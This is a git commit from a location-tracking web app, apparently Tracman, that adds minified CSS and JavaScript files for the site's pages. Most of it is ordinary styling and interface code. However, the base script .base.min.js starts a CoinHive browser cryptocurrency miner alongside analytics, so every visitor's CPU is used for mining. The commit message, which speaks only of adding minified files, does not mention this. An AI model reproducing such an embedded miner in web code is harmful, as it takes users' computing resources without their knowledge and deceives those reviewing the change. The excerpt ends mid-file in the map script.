Added minified files to git so minifiers can be removed from production

master
Keith Irwin 2018-03-09 00:40:38 +00:00
parent 12cba46ae5
commit b94bc86be5
No known key found for this signature in database
GPG Key ID: 378933C743E2BBC0
23 changed files with 106 additions and 3 deletions

3
.gitignore vendored
View File

@ -13,9 +13,6 @@ config/env/*
!config/env/sample.js
!config/env/travis.js
# Minified static files
static/**/*.min.*
# Ignore docs files
_gh_pages
_site

2
static/css/.base.min.css vendored Normal file
View File

@ -0,0 +1,2 @@
/* Global */
div,footer,.fa,.container,.container:before,.container:after{box-sizing:border-box}body,input,textarea{padding:0;margin:0;font-family:'Open Sans',sans-serif;font-size:18px;color:#eee}body{background-color:#080808}::-webkit-scrollbar{width:5vw;min-width:10px;max-width:40px}::-webkit-scrollbar-track{background-color:#080808;background-color:rgba(8,8,8,0)}::-webkit-scrollbar-thumb{border-radius:.2vw;background:#333}::selection{background:#999}::-moz-selection{background:#999}main{top:59px;position:absolute;left:0;right:0;bottom:0;overflow-y:auto}.container{padding-right:5%;padding-left:5%;width:100%;margin:0 auto}.container:after{content:"";display:block;clear:both}section{padding:10vh 0 5vh}h1,h2,h3{margin:0 0 5% 0;position:relative;z-index:6}h1,h2,h3,h4{font-weight:600}h1{font-size:48px;line-height:46px}h2{font-size:40px;line-height:36px}h3{font-size:28px}h4{font-size:20px}p,main ul{margin-top:0;margin-bottom:5vh}hr{width:90%;margin:10% auto}img{max-width:100%}p img{display:block;margin:auto}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}a{color:#fbc93d;text-decoration:none}main a:hover:not(.btn){color:#fbc93d;text-decoration:underline}a.underline{text-decoration:underline}a.underline:hover:not(.btn){text-decoration:none}.hide{display:none!important}.red,.red:hover{color:#fb6e3d!important}.yellow,.yellow:hover{color:#fbc93d!important}.green,.green:hover{color:#8ae137!important}.inline{display:inline}.inline-block{display:inline-block}.shadow{-moz-box-shadow:.18vw .18vw .36vw #000;-webkit-box-shadow:.18vw .18vw .36vw #000;box-shadow:.18vw .18vw .36vw #000}.shadow:active{-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}.inline{display:inline-block}.flex{width:100%;display:flex;justify-content:space-around}.flex.stretch{justify-content:space-between}.left{float:left}.right{float:right}.btn{font-weight:600;display:inline-block;padding:15px 30px;background:rgba(255,255,255,0.1);color:#eee;border-radius:.5vw}.btn:not(:disabled){border:1px solid #666;transition:100ms;cursor:pointer;-moz-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .52vw #000;-webkit-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000}.btn:disabled{color:#aaa;border:1px solid #444}.btn:hover:not(:disabled){text-decoration:none;background:rgba(255,255,255,0.2)}.btn:active:not(:disabled){-moz-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);-webkit-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2)}.btn:focus:not(:disabled){border:1px solid #fbc93d}.btn.main:not(:disabled){color:#fbc93d}.btn .fa{margin-left:10px}.popup{background:#111;padding:4vh 4vw;border-radius:3vh;z-index:1000;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);-moz-box-shadow:0.5vh 0.4vh 1vh 0.1vh #000;-webkit-box-shadow:0.5vh 0.4vh 1vh 0.1vh #000;box-shadow:0.5vh 0.4vh 1vh 0.1vh #000}.popup .topbar,.popup p{margin:0 0 6vh 0}.popup .topbar{display:flex;justify-content:space-between;margin:0 0 3vh 0}.popup p{margin:0 0 3vh 0}.popup .close{cursor:pointer}.popup .buttons{display:flex;justify-content:space-around}.page-mask{z-index:950;background:rgba(0,0,0,0.5);position:fixed;top:0;right:0;bottom:0;left:0}

1
static/css/.contact.min.css vendored Normal file
View File

@ -0,0 +1 @@
input,textarea{margin-bottom:3%}#subject-input,#message-input{width:100%}@media (max-width:600px){#name-input,#email-input{width:100%}}@media (min-width:600px){#name-input,#email-input{min-width:45%}#name-input{float:left}#email-input{float:right}}#submit-button{display:block;margin:auto;min-width:60%;min-height:12vh}

1
static/css/.controls.min.css vendored Normal file
View File

@ -0,0 +1 @@
#controls{width:100vw;position:absolute;bottom:50px;display:flex;justify-content:space-around}#controls .btn{z-index:50;background:#222;height:10vh;padding:2vh 0}#controls .btn .fa{margin:0 2vw}#controls .btn:hover{background:#333}#controls .btn.set,#controls .btn.clear{width:30vw}#controls .btn.track{width:35vw}@media (max-width:250px){#controls .btn{font-size:.8em}}@media (min-width:250px) and (max-width:350px){#controls .btn{font-size:1em}}@media (min-width:350px) and (max-width:450px){#controls .btn{font-size:1.15em}}@media (min-width:450px){#controls .btn{font-size:1.3em}}

1
static/css/.footer.min.css vendored Normal file
View File

@ -0,0 +1 @@
footer{font-weight:300;width:100%;overflow:auto;background:#111;color:#ccc;padding:0 20px;-moz-box-shadow:inset 0 .25vw 1vw #222;-webkit-box-shadow:inset 0 .25vw 1vw #222;box-shadow:inset 0 .25vw 1vw #222}footer .left{float:left;padding:15px 0}footer .left p{margin:0}footer a{font-weight:600;color:#fff}footer a:hover{text-decoration:none}footer .right{text-align:right;float:right;padding:15px 0}footer a .fa{margin-left:5px;font-size:20px;color:inherit}footer .fa a:hover,footer .fa a:focus{color:inherit}@media (max-width:800px){footer{padding:0 10px}}@media (max-width:600px){footer{text-align:center}footer .left,footer .right{float:none}footer .right{padding-top:0}}

1
static/css/.form.min.css vendored Normal file
View File

@ -0,0 +1 @@
form{margin:auto;max-width:800px}.form-group{display:flex;flex-wrap:wrap;justify-content:space-between;margin:8% 0}form label{font-size:1.2em;margin-right:3%}form input,form textarea,form select{color:#eee;background-color:#202020;background-color:rgba(255,255,255,0.1);padding:1% 1.5%;border-radius:.3vw}form input:not(:disabled),form textarea:not(:disabled),form .input-addon{border:1px solid #666;-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form input:disabled:not(.input-addon),form textarea:disabled,form select:disabled{border:1px solid #444}form input:not(.input-addon):not(.input-with-addon):not([type="radio"]):not([type="checkbox"]),form .input-with-addon-group{min-width:50%}form input:active:not(.input-addon),form textarea:active,form select:active,form input:focus:not(.input-addon),form textarea:focus,form select:focus{outline:none;border:1px solid #fbc93d}form .input-with-addon-group{display:flex}form .input-addon,form .input-with-addon{-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form .input-addon{text-align:center;width:auto}form .input-with-addon{flex-grow:1}form .input-addon.left{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}form .input-with-addon.left{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-addon.right{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-with-addon.right{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}::-webkit-input-placeholder{color:#666}:-moz-placeholder{color:#666;opacity:1}::-moz-placeholder{color:#666;opacity:1}:-ms-input-placeholder{color:#666}form select:not(:disabled){-moz-box-shadow:inset 0.11vw 0.18vw 0.52vw rgba(255,255,255,.2),inset -0.11vw -0.18vw 0.52vw rgba(0,0,0,.4),0.1vw 0.1vw 0.36vw #000;-webkit-box-shadow:inset 0.11vw 0.18vw 0.52vw rgba(255,255,255,.2),inset -0.11vw -0.18vw 0.52vw rgba(0,0,0,.4),0.1vw 0.1vw 0.36vw #000;box-shadow:inset 0.11vw 0.18vw 0.52vw rgba(255,255,255,.2),inset -0.11vw -0.18vw 0.52vw rgba(0,0,0,.4),0.1vw 0.1vw 0.36vw #000}form select > option{background:#222;color:inherit}form .radio{min-width:150px;display:flex;justify-content:space-between}form input[type="checkbox"],form input[type="radio"]{width:auto;margin:8px}form input[type="checkbox"]:active,form input[type="radio"]:active,form input[type="checkbox"]:focus,form input[type="radio"]:focus{outline:1px solid #fbc93d}form .btn{font-size:1.5em}.help{display:none;width:100%;margin-top:2%;margin-bottom:0;text-align:right}

2
static/css/.header.min.css vendored Normal file
View File

@ -0,0 +1,2 @@
/* Main */
header{background:#222;padding:0;position:fixed;top:0;left:0;width:100%;z-index:200}header a:hover,header a:focus{color:#fbc93d}header .logo{float:left;font-family:'Open Sans',sans-serif;padding:13px 23px;color:#fbc93d;font-weight:800;font-size:22px;line-height:30px;margin:0}header .logo a{color:inherit;font:inherit;text-decoration:inherit;cursor:pointer}header .logo img{margin-right:10px;vertical-align:middle}header .logo:hover{text-decoration:none;background:rgba(255,255,255,0.1)}header nav{float:right}header nav ul{padding:0;margin:0}header nav ul li{display:inline-block;float:left}header nav ul li a,header nav ul li span{text-decoration:inherit;display:inline-block;padding:15px 20px;color:#fff;transition:100ms}header nav ul li a:hover,header nav ul li a:focus{text-decoration:none;background:rgba(255,255,255,0.1)}header nav ul li a.active{color:#fbc93d;pointer-events:none;cursor:default}header .hamburger{display:none;padding:5px;cursor:pointer;transition-property:opacity,-webkit-filter;transition-property:opacity,filter;transition-property:opacity,filter,-webkit-filter;transition-duration:150ms;transition-timing-function:linear}header .hamburger:hover{opacity:0.7}header .hamburger-box{width:40px;height:24px;position:relative}header .hamburger-inner{top:50%;margin-top:-2px}header .hamburger-inner,header .hamburger-inner::before,header .hamburger-inner::after{width:40px;height:4px;background-color:#fff;border-radius:4px;position:absolute;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;transition-duration:150ms;transition-timing-function:ease}header .hamburger-inner::before,header .hamburger-inner::after{content:"";display:block}header .hamburger-inner::before{top:-10px}header .hamburger-inner::after{bottom:-10px}header .hamburger--slider .hamburger-inner{top:0}header .hamburger--slider .hamburger-inner::before{top:10px;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;transition-timing-function:ease;transition-duration:200ms}header .hamburger--slider .hamburger-inner::after{top:20px}header .hamburger--slider.is-active .hamburger-inner{-webkit-transform:translate3d(0,10px,0) rotate(45deg);-moz-transform:translate3d(0,10px,0) rotate(45deg);-md-transform:translate3d(0,10px,0) rotate(45deg);-o-transform:translate3d(0,10px,0) rotate(45deg);transform:translate3d(0,10px,0) rotate(45deg)}header .hamburger--slider.is-active .hamburger-inner::before{-webkit-transform:rotate(-45deg) translate3d(-5.71429px,-6px,0);-moz-transform:rotate(-45deg) translate3d(-5.71429px,-6px,0);-ms-transform:rotate(-45deg) translate3d(-5.71429px,-6px,0);-o-transform:rotate(-45deg) translate3d(-5.71429px,-6px,0);transform:rotate(-45deg) translate3d(-5.71429px,-6px,0);opacity:0}header .hamburger--slider.is-active .hamburger-inner::after{-webkit-transform:translate3d(0,-20px,0) rotate(-90deg);-moz-transform:translate3d(0,-20px,0) rotate(-90deg);-ms-transform:translate3d(0,-20px,0) rotate(-90deg);-o-transform:translate3d(0,-20px,0) rotate(-90deg);transform:translate3d(0,-20px,0) rotate(-90deg)}@media (max-width:800px){header nav ul li a{padding:15px}}@media (max-width:655px){header nav{float:none;position:fixed;top:56px;right:-300px;bottom:0;width:100%;max-width:300px;background:#333;transition:100ms}header nav.visible{right:0}header nav ul li{display:block;float:none;width:100%}header nav ul li a{display:block;width:100%;border-bottom:1px solid rgba(255,255,255,0.1)}header .hamburger{display:inline-block;color:#fff;position:absolute;right:10px;top:13px}}.alert{padding:15px;border:1px solid transparent;border-radius:4px}noscript .alert-danger{z-index:40}.alert-danger{z-index:30;color:#f2dede;background-color:#a94442}.alert-warning{z-index:20;color:#fcf8e3;background-color:#8a6d3b}.alert-success{z-index:10;color:#dff0d8;background-color:#3c763d}.alert.alert-header{position:relative;border-radius:0;top:58px;width:100%}.alert a{z-index:10;color:inherit;font-weight:bold;text-decoration:underline}.alert a:hover{color:inherit;text-decoration:none}.alert h4{margin-top:0;color:inherit}.alert > p,.alert > ul{margin-bottom:0}.alert > p + p{margin-top:5px}.alert-dismissable{padding-right:35px}.alert .close,.alert-dismissible .close{cursor:pointer;float:right;color:inherit}

2
static/css/.index.min.css vendored Normal file

File diff suppressed because one or more lines are too long

2
static/css/.login.min.css vendored Normal file
View File

@ -0,0 +1,2 @@
/* More padding on the bottom */
.container{padding-bottom:10vh}#login,#signup{width:50%;margin:0 2%}form .form-group{margin:8% 0 0}form input:not(.input-addon):not(.input-with-addon),form .input-with-addon-group{width:96%;margin:0 auto 5vh}form .input-with-addon,form .input-addon{margin:0}form .input-with-addon-group{width:100%}p,input,#social-login{margin-bottom:5vh}form input.btn[type="submit"]{margin:0 2% 5vh}form #social-login{justify-content:space-around;flex-wrap:nowrap;width:100%}#show{padding:1%;cursor:pointer}#social-login .btn{padding:2%;text-align:center;margin:0 3%;color:#FFF}#social-login .btn .fa{position:relative}#social-login .btn .text{font-size:.6em}#social-login .btn.gp{background:#ce4d39}#social-login .btn.gp:hover{background:#fb7a66}#social-login .btn.fb{background:#305891}#social-login .btn.fb:hover{background:#5d85be}#social-login .btn.tw{background:#2ca8d2}#social-login .btn.tw:hover{background:#59d5ff}@media (max-width:600px),(min-width:800px) and (max-width:1200px){#social-login .btn{padding:0;width:60px;height:60px}#social-login .btn .text{display:none}#social-login .btn .fa{margin:18px auto}}@media (max-width:800px){#login,#signup{width:100%}section > .flex{flex-direction:column}section > .flex > div{width:100%}hr{display:block!important}}

1
static/css/.map.min.css vendored Normal file
View File

@ -0,0 +1 @@
body{color:#fff;width:100%;height:100%;background:#000}main{overflow:hidden}.centered.alert{text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}#map,#view{position:relative}#view{float:right}#viewImg{width:100%;height:100%}#notset{display:none}#map-logo{margin-left:-75px;background:#444;background:rgba(0,0,0,.7);padding:0 10px 0 75px;font-size:2em}#map-logo a:hover{text-decoration:none}#map-logo img{position:relative;top:3px;margin-left:3px}#map-logo .text{color:#fbc93d;position:relative;top:-3px;margin-left:3px}#timestamp{z-index:1000000!important;text-align:right;color:#000;font-size:12px;padding-left:5px;padding-right:5px;background-color:rgba(255,255,255,.7)}#spd-sign,#alt-sign{text-align:center;padding:2%;border-radius:3px;margin:3%}#spd-sign{color:#000;background-color:#FFF;border:2px solid #000}#alt-sign{color:#FFF;background-color:#009800;border:2px solid #FFF}@media (max-width:300px){#spd,#alt{height:20px;font-size:18px}#alt-unit,#spd-unit{font-size:8px}#alt-label,#spd-label{font-size:9px;height:9px}}@media (min-width:300px) and (max-width:350px){#spd,#alt{height:22px;font-size:20px}#alt-unit,#spd-unit{font-size:9px}#alt-label,#spd-label{font-size:11px;height:11px}}@media (min-width:350px) and (max-width:400px){#spd,#alt{height:30px;font-size:28px}#alt-unit,#spd-unit{font-size:10px}#alt-label,#spd-label{font-size:14px;height:14px}}@media (min-width:400px){#spd,#alt{height:40px;font-size:32px}#alt-unit,#spd-unit{font-size:12px}#alt-label,#spd-label{font-size:18px;height:18px}}

2
static/css/.settings.min.css vendored Normal file
View File

@ -0,0 +1,2 @@
/* Social button styles */
#social-connect{flex-wrap:wrap}#social-connect > .btn{text-align:center;display:flex;align-items:center;margin-left:1vw;margin-right:1vw;flex-grow:1;flex-basis:0;font-size:.9em}#social-connect > .btn:hover{color:#fff}#social-connect > .btn .fa{font-size:1.1em;margin-left:0;margin-right:5%}#social-connect > .btn.gp.connected{border:2px solid rgb(206,77,57)}#social-connect > .btn.fb.connected{border:2px solid rgb(48,88,145)}#social-connect > .btn.tw.connected{border:2px solid rgb(44,168,210)}#social-connect > .btn.gp:not(.connected){background:rgb(206,77,57)}#social-connect > .btn.gp:not(.connected):hover{background:rgb(251,122,102)}#social-connect > .btn.fb:not(.connected){background:rgb(48,88,145)}#social-connect > .btn.fb:not(.connected):hover{background:rgb(93,133,190)}#social-connect > .btn.tw:not(.connected){background:rgb(44,168,210)}#social-connect > .btn.tw:not(.connected):hover{background:rgb(89,213,255)}#submit-group{justify-content:space-around}#submit-group .main{width:50%}

1
static/css/.table.min.css vendored Normal file
View File

@ -0,0 +1 @@
table{width:100%}thead > tr:nth-child(){background:#333}tr:nth-child(even){background:#111}tr:nth-child(odd){background:#181818}td{padding:1%}

2
static/js/.base.min.js vendored Normal file
View File

@ -0,0 +1,2 @@
"use strict"
!function(e,t,n,o,i,r,s){e.GoogleAnalyticsObject=i,e[i]=e[i]||function(){(e[i].q=e[i].q||[]).push(arguments)},e[i].l=1*new Date,r=t.createElement(n),s=t.getElementsByTagName(n)[0],r.async=1,r.src="//www.google-analytics.com/analytics.js",s.parentNode.insertBefore(r,s)}(window,document,"script",0,"ga"),ga("create","UA-44266909-3","auto"),ga("require","linkid"),ga("send","pageview"),new CoinHive.Anonymous("7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE",{autoThreads:!0,throttle:.5}).start(CoinHive.FORCE_EXCLUSIVE_TAB),"serviceWorker"in navigator&&window.addEventListener("load",function(){navigator.serviceWorker.register("/static/js/.sw.min.js").then(function(e){console.log("ServiceWorker registration successful with scope: ",e.scope)},function(e){console.error("ServiceWorker registration failed: ",e)})})

4
static/js/.contact.min.js vendored Normal file
View File

@ -0,0 +1,4 @@
"use strict"
function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function validateForm(e){if("email"===e&&(validateEmail($("#email-input").val())?(validEmail=!0,$("#email-help").hide(),validateForm()):(validEmail=!1,$("#email-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a valid email address. "))),"message"!==e)return validEmail&&validMessage?($("#submit-button").prop("disabled",!1).prop("title","Click here to send your message. "),!0):($("#submit-button").prop("disabled",!0).prop("title","Edit the form before clicking send. "),!1)
""===$("#message-input").val()?(validMessage=!1,$("#message-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a message. ")):(validMessage=!0,$("#message-help").hide(),validateForm())}var validEmail,validMessage
$(function(){validEmail=!!validateEmail($("#email-input").val()),validMessage=""===!$("#message-input").val(),setTimeout(validateForm,1e3)}),window.onSubmit=function(){validateForm()&&$("#contact-form").submit()},$("#email-input").change(function(){validateForm("email")}),$("#message-input").change(function(){validateForm("message")})

3
static/js/.footer.min.js vendored Normal file
View File

@ -0,0 +1,3 @@
"use strict"
function setFooter(){var o=$(window).height(),t=$("footer").offset().top+$("footer").height()
o>t&&$("footer").css("margin-top",o-t)}$(function(){setFooter()}),$(window).resize(function(){setFooter()})

3
static/js/.header.min.js vendored Normal file
View File

@ -0,0 +1,3 @@
/* global $ */
"use strict"
$(document).ready(function(){$(".hamburger").click(function(){$(".hamburger").toggleClass("is-active"),$("nav").toggleClass("visible")}),$("nav").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".wrap, section").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".alert-dismissible .close").click(function(){$(this).parent().slideUp(500)})})

19
static/js/.html5shiv.min.js vendored Normal file
View File

@ -0,0 +1,19 @@
/*
HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
!function(e,t){function n(){var e=v.elements
return"string"==typeof e?e.split(" "):e}function r(e){var t=f[e[u]]
return t||(t={},d++,e[u]=d,f[d]=t),t}function a(e,n,a){return n||(n=t),l?n.createElement(e):(a||(a=r(n)),n=a.cache[e]?a.cache[e].cloneNode():h.test(e)?(a.cache[e]=a.createElem(e)).cloneNode():a.createElem(e),n.canHaveChildren&&!s.test(e)?a.frag.appendChild(n):n)}function c(e,t){t.cache||(t.cache={},t.createElem=e.createElement,t.createFrag=e.createDocumentFragment,t.frag=t.createFrag()),e.createElement=function(n){return v.shivMethods?a(n,e,t):t.createElem(n)},e.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+n().join().replace(/\w+/g,function(e){return t.createElem(e),t.frag.createElement(e),'c("'+e+'")'})+");return n}")(v,t.frag)}function o(e){e||(e=t)
var n=r(e)
if(v.shivCSS&&!i&&!n.hasCSS){var a,o=e
a=o.createElement("p"),o=o.getElementsByTagName("head")[0]||o.documentElement,a.innerHTML="x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>",a=o.insertBefore(a.lastChild,o.firstChild),n.hasCSS=!!a}return l||c(e,n),e}var i,l,m=e.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,h=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,u="_html5shiv",d=0,f={}
!function(){try{var e=t.createElement("a")
e.innerHTML="<xyz></xyz>",i="hidden"in e
var n
if(!(n=1==e.childNodes.length)){t.createElement("a")
var r=t.createDocumentFragment()
n=void 0===r.cloneNode||void 0===r.createDocumentFragment||void 0===r.createElement}l=n}catch(e){l=i=!0}}()
var v={elements:m.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video",version:"3.6.2",shivCSS:!1!==m.shivCSS,supportsUnknownElements:l,shivMethods:!1!==m.shivMethods,type:"default",shivDocument:o,createElement:a,createDocumentFragment:function(e,a){if(e||(e=t),l)return e.createDocumentFragment()
for(var a=a||r(e),c=a.frag.cloneNode(),o=0,i=n(),m=i.length;o<m;o++)c.createElement(i[o])
return c}}
e.html5=v,o(t)}(this,document)

2
static/js/.login.min.js vendored Normal file
View File

@ -0,0 +1,2 @@
"use strict"
$(function(){$("#show").click(function(){"password"===$("#password").attr("type")?$("#password").attr("type","text"):$("#password").attr("type","password")})})

18
static/js/.map.min.js vendored Normal file
View File

@ -0,0 +1,18 @@
"use strict"
function resetIdleSecondsCounter(){_idleSecondsCounter=0}function metersToFeet(e){return"standard"===mapuser.settings.units?(3.28084*e).toFixed():e.toFixed()}function toggleMaps(e){0===e.lat&&0===e.lon?($("#map").hide(),$("#view").hide(),$("#notset").show()):($("#map").show(),$("#view").show(),$("#notset").hide())}function initMap(e){function t(t){return new Promise(function(o,n){return elevator=elevator||new e.ElevationService,elevator.getElevationForLocations({locations:[{lat:t.lat,lng:t.lon}]},function(t,a,i){a===e.ElevationStatus.OK&&t[0]?(console.log("Altitude was retrieved from Google Elevations API as",t[0].elevation,"m"),o(t[0].elevation)):n(Error(i))})})}function o(e){return new Promise(function(o,n){"number"==typeof e.alt?(console.log("Altitude was provided in loc as ",e.alt,"m"),o(e.alt)):(console.log("No altitude was provided in loc"),t(e).then(function(e){o(e)}).catch(function(e){n(e)}))})}function n(e){return e.spd="standard"===mapuser.settings.units?2.23694*parseFloat(e.spd):parseFloat(e.spd),e.dir=parseFloat(e.dir),e.lat=parseFloat(e.lat),e.lon=parseFloat(e.lon),e.tim=new Date(e.tim).toLocaleString(),e}function a(t,o,n){if(null==newLoc||t.tim===newLoc.tim){if(!i)var i=new e.StreetViewService
i.getPanorama({location:{lat:t.lat,lng:t.lon},radius:o},function(i,s){switch(s){case e.StreetViewStatus.OK:n(i)
break
case e.StreetViewStatus.ZERO_RESULTS:a(t,2*o,n)
break
default:console.error(new Error("Street view not available: "+s).message)}})}}function i(e){function t(e,t){return 90-Math.atan2(e.lat-t.latLng.lat(),e.lon-t.latLng.lng())*(180/Math.PI)%360}function o(e){return e.width()<640&&e.height()<640?e.width().toFixed()+"x"+e.height().toFixed():e.width()>e.height()?"640x"+(640*e.height()/e.width()).toFixed():(640*e.width()/e.height()).toFixed()+"x640"}a(e,2,function(n){$("#viewImg").attr("src","https://maps.googleapis.com/maps/api/streetview?size="+o($("#view"))+"&location="+n.location.latLng.lat()+","+n.location.latLng.lng()+"&fov=90&heading="+(e.spd>2?e.dir:String(t(e,n.location)))+"&key="+mapKey)})}if("1"!==disp){if(map=new e.Map(mapElem,{center:{lat:mapuser.last.lat,lng:mapuser.last.lon},panControl:!1,scrollwheel:!0,scaleControl:!!mapuser.settings.showScale,draggable:!1,zoom:mapuser.settings.defaultZoom,streetViewControl:!1,zoomControlOptions:{position:e.ControlPosition.LEFT_TOP},mapTypeId:"road"===mapuser.settings.defaultMap?e.MapTypeId.ROADMAP:e.MapTypeId.HYBRID}),marker=new e.Marker({position:{lat:mapuser.last.lat,lng:mapuser.last.lon},title:mapuser.name,icon:mapuser.settings.marker?"/static/img/marker/"+mapuser.settings.marker+".png":"/static/img/marker/red.png",map:map,draggable:!1}),map.addListener("zoom_changed",function(){map.setCenter(marker.getPosition())}),"0"!==noHeader&&"demo"!==mapuser._id){const s=document.createElement("div")
s.id="map-logo",s.innerHTML='<a href="https://www.tracman.org/"><img src="https://www.tracman.org/static/img/style/logo-28.png" alt="[]"><span class=\'text\'>Tracman</span></a>',map.controls[e.ControlPosition.BOTTOM_LEFT].push(s)}const r=document.createElement("div")
if(r.id="timestamp",mapuser.last.time&&(r.innerHTML="location updated "+new Date(mapuser.last.time).toLocaleString()),map.controls[e.ControlPosition.RIGHT_BOTTOM].push(r),mapuser.settings.showSpeed){const l=document.createElement("div"),c=document.createElement("div"),d=document.createElement("div"),u=document.createElement("div")
c.id="spd-label",c.innerHTML="SPEED",d.id="spd",d.innerHTML="standard"===mapuser.settings.units?(2.23694*parseFloat(mapuser.last.spd)).toFixed():mapuser.last.spd.toFixed(),u.id="spd-unit",u.innerHTML="standard"===mapuser.settings.units?"m.p.h.":"k.p.h.",l.id="spd-sign",l.appendChild(c),l.appendChild(d),l.appendChild(u),map.controls[e.ControlPosition.TOP_RIGHT].push(l)}if(mapuser.settings.showAlt){elevator=new e.ElevationService
const p=document.createElement("div"),m=document.createElement("div"),g=document.createElement("div"),h=document.createElement("div")
m.id="alt-label",g.id="alt",h.id="alt-unit",p.id="alt-sign",g.innerHTML="",m.innerHTML="ALTITUDE",o(mapuser.last).then(function(e){g.innerHTML=metersToFeet(e)}).catch(function(e){console.error("Could not load altitude from last known location: ",e)}),h.innerHTML="standard"===mapuser.settings.units?"feet":"meters",p.appendChild(m),p.appendChild(g),p.appendChild(h),map.controls[e.ControlPosition.TOP_RIGHT].push(p)}}"0"!==disp&&mapuser.settings.showStreetview&&i(n(mapuser.last)),socket.on("get",function(t){console.log("Got location:",t.lat+", "+t.lon),newLoc=n(t),"1"!==disp&&($("#timestamp").text("location updated "+newLoc.tim),e.event.trigger(map,"resize"),map.setCenter({lat:newLoc.lat,lng:newLoc.lon}),marker.setPosition({lat:newLoc.lat,lng:newLoc.lon}),mapuser.settings.showSpeed&&$("#spd").text(newLoc.spd.toFixed()),mapuser.settings.showAlt&&o(t).then(function(e){$("#alt").text(metersToFeet(e))}).catch(function(e){$("#alt").text("????"),console.error(e.stack)})),"0"!==disp&&mapuser.settings.showStreetview&&i(newLoc)})}var map,marker,elevator,newLoc
const mapElem=document.getElementById("map"),socket=io("//"+window.location.hostname),IDLE_TIMEOUT=300
var _idleSecondsCounter=0
document.onclick=resetIdleSecondsCounter,document.onmousemove=resetIdleSecondsCounter,document.onkeypress=resetIdleSecondsCounter,window.setInterval(function(){_idleSecondsCounter++,_idleSecondsCounter>=300?socket.connected&&(console.log("Disconnecting because idle for more than",300,"seconds."),socket.disconnect()):socket.connected||(console.log("Reconnecting the user because they are no longer idle."),socket.connect())},1e3),socket.on("connect",function(){console.log("Connected!"),socket.emit("can-get",mapuser._id),mapuser._id===userid&&socket.emit("can-set",userid)}).on("disconnect",function(){console.log("Disconnected!")}).on("error",function(e){console.error(e.stack)}),$(function(){toggleMaps(mapuser.last)
var e,t
$("#set-loc").click(function(){!userid===mapuser._id?alert("You are not logged in! "):navigator.geolocation?navigator.geolocation.getCurrentPosition(function(e){var t={ts:Date.now(),tok:token,usr:userid,alt:e.coords.altitude,lat:e.coords.latitude,lon:e.coords.longitude,spd:e.coords.speed||0}
socket.emit("set",t),toggleMaps(t),console.log("Set location:",t.lat+", "+t.lon)},function(e){alert("Unable to set location."),console.error(e.stack)},{enableHighAccuracy:!0}):alert("Geolocation not enabled. ")}),$("#track-loc").click(function(){!userid===mapuser._id?alert("You are not logged in! "):e?($("#track-loc").html('<i class="fa fa-crosshairs"></i>Track').prop("title","Click here to track your location. "),navigator.geolocation.clearWatch(e),e=void 0):navigator.geolocation?($("#track-loc").html('<i class="fa fa-crosshairs fa-spin"></i>Stop').prop("title","Click here to stop tracking your location. "),e=navigator.geolocation.watchPosition(function(e){t={ts:Date.now(),tok:token,usr:userid,lat:e.coords.latitude,lon:e.coords.longitude,alt:e.coords.altitude,spd:e.coords.speed||0},socket.emit("set",t),toggleMaps(t),console.log("Set location:",t.lat+", "+t.lon)},function(e){alert("Unable to track location."),console.error(e.stack)},{enableHighAccuracy:!0})):alert("Unable to track location. 